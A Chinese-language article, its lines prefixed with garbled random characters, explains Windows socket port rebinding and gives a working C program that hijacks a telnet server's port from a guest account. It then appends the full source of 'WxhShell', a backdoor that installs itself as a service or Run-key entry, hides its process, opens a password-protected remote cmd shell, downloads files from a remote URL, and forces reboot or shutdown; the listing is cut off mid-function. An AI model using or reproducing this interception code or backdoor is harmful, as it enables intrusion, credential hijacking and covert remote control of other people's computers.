在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
YQ)kRhFA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4JXeV&5Qk' ]BZA:dd.G saddr.sin_family = AF_INET;
f=Gg9bnm3 =tn)}Y.<e saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y0.'?6k z}9(x.I bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
w"|L:8 0[#
3;a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
a=1@*ID NC`aP0S 这意味着什么?意味着可以进行如下的攻击:
nFe<w t%FwXaO# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G]tn i SrJGTuXg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
beGa#JH, Rz/gtEP 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P [ck84F/ P{jbl!UD7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
{.|CdqwY I@~QV@U 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
v`x.)S1 Tc:)-
z[o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
FFpT~. }W8;=$jr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
e4_rC'= c )g\/ #include
RnE4<Cy #include
w<3#1/g!2B #include
>J?fl8 #include
o4,6.1} DWORD WINAPI ClientThread(LPVOID lpParam);
SmH=e@y~Lx int main()
/NFj(+&g+ {
(@VMH !3 WORD wVersionRequested;
70nqD>M4 DWORD ret;
L,`LN> WSADATA wsaData;
X-Kh(Z BOOL val;
T!kN)#S SOCKADDR_IN saddr;
n\'4 SOCKADDR_IN scaddr;
1#2 I int err;
MUc$j& SOCKET s;
@ioJ]$o7 SOCKET sc;
[ 5b--O int caddsize;
a0E)2vt4 HANDLE mt;
j0aXyLNX DWORD tid;
k5e;fA/w wVersionRequested = MAKEWORD( 2, 2 );
50wulGJud err = WSAStartup( wVersionRequested, &wsaData );
]7BvvQ
if ( err != 0 ) {
#x60xz printf("error!WSAStartup failed!\n");
9T9!kb return -1;
_Y4` xv0/ }
Y=I'czg saddr.sin_family = AF_INET;
A,<E\ iy!=6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
n'LrQU Uz8ff saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_8J.fT$${ saddr.sin_port = htons(23);
sb*G!8j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!;{7-~ {
HM1Fz\Sf printf("error!socket failed!\n");
q~o<*W return -1;
:\c ^*K(9 }
m?}6)\ob val = TRUE;
p27~>xQ //SO_REUSEADDR选项就是可以实现端口重绑定的
P|E| $)m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8q!]y6 {
1(R}tRR7 R printf("error!setsockopt failed!\n");
f~R(D0@ return -1;
/-'}q=M }
%)1?TU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;[YG@-"XZ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
7Q9 w?y~c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"+nRGEs6 U9 s& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4e7-0}0 {
Iyn(?w ret=GetLastError();
#gN&lY:CFn printf("error!bind failed!\n");
bsli0FJSh' return -1;
_J#zY-j }
lfgq=8d listen(s,2);
Qd{CMmx while(1)
.`H5cuF` {
lrE5^;/s1 caddsize = sizeof(scaddr);
? :%@vM //接受连接请求
ec;o\erPG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
I$G['`XX/ if(sc!=INVALID_SOCKET)
{dlXLx!B {
JPHL#sKyz mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
z&\a:fJ& if(mt==NULL)
iWkWR"ysy {
|YWD8 + printf("Thread Creat Failed!\n");
adcE'fA<_ break;
EME|k{W }
;JT-kw6l5K }
O=t_yy CloseHandle(mt);
Ll't>) }
qInR1 r< closesocket(s);
9W5lSX#^; WSACleanup();
*N<]Xy@ return 0;
,ZNq,$j }
;igIZ$& DWORD WINAPI ClientThread(LPVOID lpParam)
|wMN}bq|T {
s ll\g SOCKET ss = (SOCKET)lpParam;
]F~dlH1Wp SOCKET sc;
="H`V V_ unsigned char buf[4096];
:3Ox~o SOCKADDR_IN saddr;
4pF*"B long num;
!;A\.~-!G DWORD val;
;$|nrwhy DWORD ret;
\gaw6S>n} //如果是隐藏端口应用的话,可以在此处加一些判断
Wn2NMXK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^^$s%{ep" saddr.sin_family = AF_INET;
IEi^kJflU saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
U7F!Z(
9 saddr.sin_port = htons(23);
90rol~M& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JH9J5%sp {
LH% F8 printf("error!socket failed!\n");
vvMT}-! return -1;
CAhXQ7w'Z }
gr2U6gi val = 100;
7JH6A'& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wwZ ,;\ {
$s:aW^k ret = GetLastError();
\M^bD4';> return -1;
M%m4i9~!? }
g3y~bf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@":
^)87 {
tyFzSrfc ret = GetLastError();
8GUX{K return -1;
C1)!f j= }
k y7Gwc if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1))8
A@, {
oG\Vxg* printf("error!socket connect failed!\n");
2[W&s& closesocket(sc);
a;+9mDXx: closesocket(ss);
8nV+e~-w return -1;
"!^"[mX4 }
CA~-rv while(1)
q<1~ vA9 {
73;GW4, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
W${Ue#w77 //如果是嗅探内容的话,可以再此处进行内容分析和记录
^09,"<@k //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#X1ND num = recv(ss,buf,4096,0);
<bWG!ZG if(num>0)
TvbE2Q;/UL send(sc,buf,num,0);
/J;Kn]5e else if(num==0)
GD$l||8 break;
)y$(AJx$ num = recv(sc,buf,4096,0);
#"~<HG}bR/ if(num>0)
y<Ot)fa$ send(ss,buf,num,0);
~c `l@: else if(num==0)
57c8xk[.2 break;
UCj ld }
g($2Dk_F2 closesocket(ss);
NBGH_6DROw closesocket(sc);
e\L8oOk#r return 0 ;
z
Iu'[U }
)SGq[B6@I x%B/ rx|pOz,: ==========================================================
4kx
N<] 9yP;@y*d 下边附上一个代码,,WXhSHELL
'H;*W |:-] iH@UTE ; ==========================================================
L!xi '`Hr} #include "stdafx.h"
iXjM.G ?Ir:g=RP* #include <stdio.h>
;4\;mmLVk #include <string.h>
&6VnySE? #include <windows.h>
i/Zd8+.n$ #include <winsock2.h>
7%M_'P4 V #include <winsvc.h>
wibNQ`4k #include <urlmon.h>
j3Y['xDv [4)F f #pragma comment (lib, "Ws2_32.lib")
=I_'.b #pragma comment (lib, "urlmon.lib")
cr;da) tCt#%7J;a #define MAX_USER 100 // 最大客户端连接数
eaU #define BUF_SOCK 200 // sock buffer
p`qgrI` #define KEY_BUFF 255 // 输入 buffer
?:0Jav Mo|2}nf #define REBOOT 0 // 重启
(E1~H0^ #define SHUTDOWN 1 // 关机
>m\(6x8RE m8[j #=h #define DEF_PORT 5000 // 监听端口
v]UwJz3< (ToUgVW1N #define REG_LEN 16 // 注册表键长度
xAm6BB
c #define SVC_LEN 80 // NT服务名长度
a%0EiU z
F;K // 从dll定义API
;O,jUiQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
hhvyf^o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4*;MJ[| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%?/X=}sE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
dWBA1p m1A J{cs // wxhshell配置信息
om>KU$g struct WSCFG {
8&dF int ws_port; // 监听端口
FS1z`wYP char ws_passstr[REG_LEN]; // 口令
E]r?{t`] int ws_autoins; // 安装标记, 1=yes 0=no
owv[M6lbD char ws_regname[REG_LEN]; // 注册表键名
H\[W/" char ws_svcname[REG_LEN]; // 服务名
wMN]~|z> char ws_svcdisp[SVC_LEN]; // 服务显示名
&K,i
f char ws_svcdesc[SVC_LEN]; // 服务描述信息
R4d=S4i char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Tlr v={ int ws_downexe; // 下载执行标记, 1=yes 0=no
uB?ZcF}Tk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"0TZTa1e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)V9bI( v lp8v0e4 };
dj%!I:Q>u <1!O1ab // default Wxhshell configuration
#g!.T g' struct WSCFG wscfg={DEF_PORT,
2
yz _ "xuhuanlingzhe",
[2cD:JL 1,
FpU>^'2] "Wxhshell",
d #wVLmKZ "Wxhshell",
q@2siI~W "WxhShell Service",
pfI&E#:5 "Wrsky Windows CmdShell Service",
I%Z "Please Input Your Password: ",
Dvln/SBk 1,
&)<)^.@3G^ "
http://www.wrsky.com/wxhshell.exe",
&%Tj/ Qx "Wxhshell.exe"
`M6)f?|$. };
cB&:z)i4 oP.7/*p // 消息定义模块
ddR>7d}N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z3!`J& char *msg_ws_prompt="\n\r? for help\n\r#>";
}(u
ol char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
e96k{C`j0 char *msg_ws_ext="\n\rExit.";
_SkLYL!=9 char *msg_ws_end="\n\rQuit.";
akQ7K char *msg_ws_boot="\n\rReboot...";
}ad|g6i` char *msg_ws_poff="\n\rShutdown...";
[Vt\$ char *msg_ws_down="\n\rSave to ";
8dhUBJ0_ i!Ga5 v8n: char *msg_ws_err="\n\rErr!";
<a+Z;> char *msg_ws_ok="\n\rOK!";
|Q>IrT a'IdYW0 char ExeFile[MAX_PATH];
?
=+WRjF int nUser = 0;
E_LN]v HANDLE handles[MAX_USER];
I2Yz#V<%ru int OsIsNt;
Z/J y'$x dgePPhj
SERVICE_STATUS serviceStatus;
T[A69O]v SERVICE_STATUS_HANDLE hServiceStatusHandle;
Ga'swP=hf WX0tgXl // 函数声明
?z
u8)U int Install(void);
Z%\,w(o[h int Uninstall(void);
GPkpXVm int DownloadFile(char *sURL, SOCKET wsh);
fikkY= int Boot(int flag);
40
0#v|b void HideProc(void);
v.5+7,4 int GetOsVer(void);
YK~%x o int Wxhshell(SOCKET wsl);
1-QS~)+ void TalkWithClient(void *cs);
EJ@ ~/)< int CmdShell(SOCKET sock);
~PNub E int StartFromService(void);
W@!S%Y9 int StartWxhshell(LPSTR lpCmdLine);
;9g2?-svw
OZ!^ak VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
8dyg1F VOID WINAPI NTServiceHandler( DWORD fdwControl );
wlmRe`R {]|J5Dgfe // 数据结构和表定义
mj@13$= SERVICE_TABLE_ENTRY DispatchTable[] =
5/z/>D; {
X[TR3[1} {wscfg.ws_svcname, NTServiceMain},
`y* }lg T {NULL, NULL}
t&DEb_"De };
jF*j0PkNdb 29q _BR *: // 自我安装
`@|$,2[C int Install(void)
^sg,\zD 'X {
C"enpc_C/ char svExeFile[MAX_PATH];
}:#P)8/v>% HKEY key;
=mmWl9'mJ strcpy(svExeFile,ExeFile);
b<u3 hln%, HUO j0T // 如果是win9x系统,修改注册表设为自启动
xn|(9#1o if(!OsIsNt) {
PnG-h~Y3N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N)>ID(}F1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zj4Uak RegCloseKey(key);
GowH]MO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jlg(drTo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>)Tqt!? RegCloseKey(key);
H 7
^/q7 return 0;
D|#E9OQzs }
o%*xvH*A }
6\S~P/PkE }
Pr,q*_Yy else {
*HB-QIl /,Jqmm#s^ // 如果是NT以上系统,安装为系统服务
R_xRp&5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.w,q0<} if (schSCManager!=0)
W|(1Y
D {
kz7(Z'pw SC_HANDLE schService = CreateService
Fea(zJ_ (
/JU.?M35 schSCManager,
IdxzE_@ wscfg.ws_svcname,
w)jISu;RG wscfg.ws_svcdisp,
G<;*SYAb SERVICE_ALL_ACCESS,
S>;
5[l 4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9JKEw SERVICE_AUTO_START,
HLHz2-lI SERVICE_ERROR_NORMAL,
$xdy& svExeFile,
y L~W.H NULL,
d8x;~RA NULL,
?@
$r NULL,
`pZm?}K NULL,
fLAw12;^ NULL
;P&OX5~V );
E q+_&Wk if (schService!=0)
7i1q wRv {
7 x?<*T CloseServiceHandle(schService);
8kDp_si CloseServiceHandle(schSCManager);
U|j`e5) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O!bOp= strcat(svExeFile,wscfg.ws_svcname);
5.J.RE"M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
w^0nqh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
63x?MY6 RegCloseKey(key);
t5IEQ2 return 0;
iMRwp+$ }
'(jG[ry&T }
[;myHI`tw CloseServiceHandle(schSCManager);
Nu~lsWyRI5 }
%C_HXr@ }
',5ky{ =zs`#-^8 return 1;
t9IW/Q }
57'4ljvYi 2jCf T>`3 // 自我卸载
7W.~ int Uninstall(void)
H~z`]5CN {
PRE|+=w$ HKEY key;
6Sn .I1Wy QUQ'3 if(!OsIsNt) {
`,*5wBC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1D!<'`)AY RegDeleteValue(key,wscfg.ws_regname);
#@nezu2 RegCloseKey(key);
LC!bIm5' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}|5Pr(I RegDeleteValue(key,wscfg.ws_regname);
m/EFHS49 RegCloseKey(key);
4#hSJ(~7S return 0;
cDkf qcC }
V,N%;iB} }
t}tEvh }
`&6dnSC},P else {
~gRf:VXX=_ 4)o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
h;NYdX5 if (schSCManager!=0)
OprkR {
OY@ %p}l SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
vd4ytC if (schService!=0)
S#}
KIy {
)q3p-)@kQ if(DeleteService(schService)!=0) {
YLn?.sV{[0 CloseServiceHandle(schService);
Z0r?|G0 CloseServiceHandle(schSCManager);
O463I.XAP return 0;
-v|qZ' }
zjoq6 CloseServiceHandle(schService);
gEE\y{y }
Qv/=&_6 CloseServiceHandle(schSCManager);
*<ewS8f*6 }
*$ %a:q1U }
UByv?KZi cDH^\-z return 1;
qPfQy
}
lQkQ9##* 2x0<&Xy#P // 从指定url下载文件
/J6rv(( int DownloadFile(char *sURL, SOCKET wsh)
0}quG^%_ {
aPbE;"
f HRESULT hr;
^eYVWQ' char seps[]= "/";
LTx,cP char *token;
0F><P?5 char *file;
\.#>=!Ie char myURL[MAX_PATH];
)U{Qj5W+F char myFILE[MAX_PATH];
_~ iw[*#u SQt4v" strcpy(myURL,sURL);
O#S.n#{ token=strtok(myURL,seps);
P1' al while(token!=NULL)
Otm0(+YB7 {
-Wi` G
file=token;
p|D/;Mk token=strtok(NULL,seps);
9|CN8x- }
LOV)3{m H\tUpan6fy GetCurrentDirectory(MAX_PATH,myFILE);
PdtvU-( strcat(myFILE, "\\");
,^f+^^ strcat(myFILE, file);
$aXer: send(wsh,myFILE,strlen(myFILE),0);
U2s /2 [. send(wsh,"...",3,0);
G,Azm}+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<1\Nb{5 if(hr==S_OK)
><HE;cVg? return 0;
W'+:'_{ j: else
n3
r3"~i return 1;
j
Dv{/) G?/DrnK: }
_D(rI#q 2u*KM`fa` // 系统电源模块
LvUj9eVb/L int Boot(int flag)
rFYWs6 {
_&ks1cw HANDLE hToken;
"y/?WQ>,3 TOKEN_PRIVILEGES tkp;
PGV/ h qE3UO<FA if(OsIsNt) {
%m$Sp47 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?|B&M\}g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
a8Nh=^Py tkp.PrivilegeCount = 1;
mmRJ9OhS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=k`Cr0aPF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
h6`6tk if(flag==REBOOT) {
UVIKQpA]A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uT7B#b7 return 0;
gz#i.- }
q 2:6QM& else {
h
Pa_VrH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
I->Ss},U return 0;
Oh6fj}eK }
!lc[ }
+<3XJ7D else {
j@uOOhy if(flag==REBOOT) {
e@*
EzvO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?\s+EE&- return 0;
/9pwZ%:< }
!fR3(=oN else {
+8d1|cB" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
vbe|hO"" return 0;
6?~"V }
G@jZ)2
}
:~N-.# ly_HWuFJ3 return 1;
TXvI4"& }
K\6u9BYG !sW(wAy?o // win9x进程隐藏模块
s %\-E9
T void HideProc(void)
v"XGC i91L {
Ayw ;N .Cl:eu,] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!1{e|p
7 if ( hKernel != NULL )
q0R -7O( {
,a]?S^:y] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
NDlF0f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
q]e`9/U FreeLibrary(hKernel);
O%KsD[W; }
(~wqa 3 X1-'COQS%& return;
g+>(dnX }
kN4{13Qs* 64G[|" j D // 获取操作系统版本
k" PayyAC int GetOsVer(void)
5T2CISmu {
``\i58K{e OSVERSIONINFO winfo;
*>2W#D)b= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
v)t:|Q{I GetVersionEx(&winfo);
OJ5#4qJ[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
<;m<8RjX return 1;
r@t9Ci=} else
Mh/dpb\Z return 0;
,*hLFaR- }
pRIhFf {NFr]LGOp // 客户端句柄模块
@l jA int Wxhshell(SOCKET wsl)
_ff`y {
nR}sNl1 SOCKET wsh;
yt=3sq struct sockaddr_in client;
7gvnl~C( DWORD myID;
92x(u%~E hYNY"VB while(nUser<MAX_USER)
k_5L4c:" {
q?DTMKx int nSize=sizeof(client);
v}O30wE wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
'o+L41 if(wsh==INVALID_SOCKET) return 1;
^l=!JP=M= }v!$dr,j' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Vjp1RWb if(handles[nUser]==0)
W~~7C,! closesocket(wsh);
;HJLs2bP else
W=Mb nUser++;
6dN7_v) }
C|).;V& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
nvJf/90$ KB`!Sj\ return 0;
L>9V&\ }
iAa.}CI,zB y7
3VFb // 关闭 socket
%]DP#~7[| void CloseIt(SOCKET wsh)
")dH,:#S {
V#t%/l closesocket(wsh);
qx8fRIK% nUser--;
.
Z.)t ExitThread(0);
MgOR2,cR }
YY)s p% S=<}:#;u0 // 客户端请求句柄
1#*a:F&re void TalkWithClient(void *cs)
M/ni6%x {
|_*O '#jx TYmP) SOCKET wsh=(SOCKET)cs;
%Yicg6: char pwd[SVC_LEN];
CBOi`bEf char cmd[KEY_BUFF];
?_$=l1vf char chr[1];
WDc+6/< int i,j;
)-
viGxJ@ Y/>&0wj)d while (nUser < MAX_USER) {
X4AyX.p `U)hjQ~pP if(wscfg.ws_passstr) {
"B4;,+4kR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/#-C4"| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R)z4n //ZeroMemory(pwd,KEY_BUFF);
{QZUDPPR i=0;
*4xat:@{{ while(i<SVC_LEN) {
SHbtWq}T T:Hr&ws4 // 设置超时
M?:c)&$]D fd_set FdRead;
Q6AC(n@:FV struct timeval TimeOut;
8XzR
wYV FD_ZERO(&FdRead);
wztA3ZL*W1 FD_SET(wsh,&FdRead);
H!nr^l'+ TimeOut.tv_sec=8;
-/cZeQDPb TimeOut.tv_usec=0;
##;Er47@^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Xr2ou5zAn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.DR<Te 8X`tU<Ab if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pr#z=vqH pwd
=chr[0]; e7(ucE
if(chr[0]==0xd || chr[0]==0xa) { TUDr\' @/f
pwd=0; /VzI'^
break; J(%0z:exs
} y[\VUzD*'
i++; m&\h4$[kql
} l>{R`BZ/
}i`PGx
// 如果是非法用户,关闭 socket {Jx4xpvPo
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SWQ5fcPu
} tqeZ#w7
aj}sc/Qa
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I8/DR z$A
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n;U`m$vL%
\2}bi:e6
while(1) { te
!S09(
<]4i`6{v
ZeroMemory(cmd,KEY_BUFF); @t`Xq1
gk+h8 LZ
// 自动支持客户端 telnet标准 8J~1-;
j=0; !Mim@!5M
while(j<KEY_BUFF) { ^Au _U
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [y)`k@
cmd[j]=chr[0]; mG`e3X6@-
if(chr[0]==0xa || chr[0]==0xd) { T[4<R 5}
cmd[j]=0; )h|gwERj
break; eDJfU
} ~aOuG5XK
j++; ./D$dbu3
} IlE_@gS8
O:"*q&;J
// 下载文件 =gvBz | +
if(strstr(cmd,"http://")) { (85Fv&a
send(wsh,msg_ws_down,strlen(msg_ws_down),0); IWveW8qJ
if(DownloadFile(cmd,wsh)) .YnFH$;$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.d:9Z|_
else \&3"<6xA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^;maotHn
} MpqZH{:?G
else { t|!j2<e
S:q3QgU=X
switch(cmd[0]) { .G(llA}
@qjfZH@
// 帮助 f7~9|w&
case '?': { 3a 1 u
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vZ N!Zl7S
break; +1!qs,
} kbfC|5S
// 安装 *^wB!{.#
case 'i': { 5qkH|*Z3
if(Install()) v-Fg
+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;w-qHha
else {W~q
z^>u4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;)I'WQ]Q
break; NeBsv= [-
} Ppt2A6W
// 卸载 |vMpXiMxxT
case 'r': { saAxGG
if(Uninstall()) 4)4+M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -0eq_+oQ
else uy^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P"?FnTbv[
break; 7Wa?$6d
} pge++Di
// 显示 wxhshell 所在路径 ?@t d
case 'p': { :nS;W
char svExeFile[MAX_PATH]; G,<T/f
.{$
strcpy(svExeFile,"\n\r"); A'K%WW*'U
strcat(svExeFile,ExeFile); ]I.n\2R]om
send(wsh,svExeFile,strlen(svExeFile),0); d90Z,nex
break; [kzd(u
}
kWb2F7m
// 重启 q@~L&{
case 'b': { X!},8}~J~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *;U'[H3Q
if(Boot(REBOOT)) L0]_hxE?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @a>2c$%
else { 5P+t^\
closesocket(wsh); :@xm-.D
ExitThread(0); R@yyur~'_(
} TtDg*kZ
break; 1w0OKaF5
} -l-E_6|/W
// 关机 G"59cv8z4R
case 'd': { KkMay
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \WrFqm#
if(Boot(SHUTDOWN)) C"qU-&*v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H:JLAK
else { X$\i{p9jw
closesocket(wsh); fiI
$T:g.
ExitThread(0); 5P hX"7
} <U9/InN0[
break; f8<o8*`7
} R%H$%cnj
// 获取shell b7\ cxgRq
case 's': { \zkw2*t
CmdShell(wsh); $hVYTy~}
closesocket(wsh); )|<_cwz
ExitThread(0); 4YMX|1wd)
break; Grz 3{U
} 0 Hw-59MK
// 退出 iH2n.M
"
case 'x': { m&0"<V!H/B
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LsGiu9~S
CloseIt(wsh); /DO/Tqdfe
break; 0g<K [mPr7
} uw7{>9
// 离开 +wk`;0s A
case 'q': { N_Af3R1_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^, i>'T
closesocket(wsh); Na,_
WSACleanup(); `C+HE$B
exit(1); (|fm6$
break; zggB$5
} "4j:[9vR\
} rba;&D;
} v !Kw<
fp|
1fL<&G
// 提示信息 tAFti+Qb
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &~f3 psA
} sK=}E=
} a)! g7u
[rOaM$3|
return; zN_:nY>
} mN5
8r"!J
$O:w(U
// shell模块句柄 68'>Zbelb
int CmdShell(SOCKET sock) 7C?.L70ZY
{ 3%<C<(
STARTUPINFO si; MuEy>dl
ZeroMemory(&si,sizeof(si)); L1)@z8]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [$(R#tZ+
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %YlTF\-
PROCESS_INFORMATION ProcessInfo; FkupO
[KI
char cmdline[]="cmd"; AdoZs8Q
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pY^9l3y^
return 0; l t]B#, '
} :H[\;Z1_
f.pkQe(
// 自身启动模式 `Xcirfp
int StartFromService(void) }yEoEI`
{ w.+Eyu_I\
typedef struct :Px\qh}K
{
oeL5}U6>g
DWORD ExitStatus; w3D]~&]
DWORD PebBaseAddress; 6=PiVwI
DWORD AffinityMask; 4DO/rtkVq
DWORD BasePriority; &,-p',\-
ULONG UniqueProcessId; #G,XDW2"w
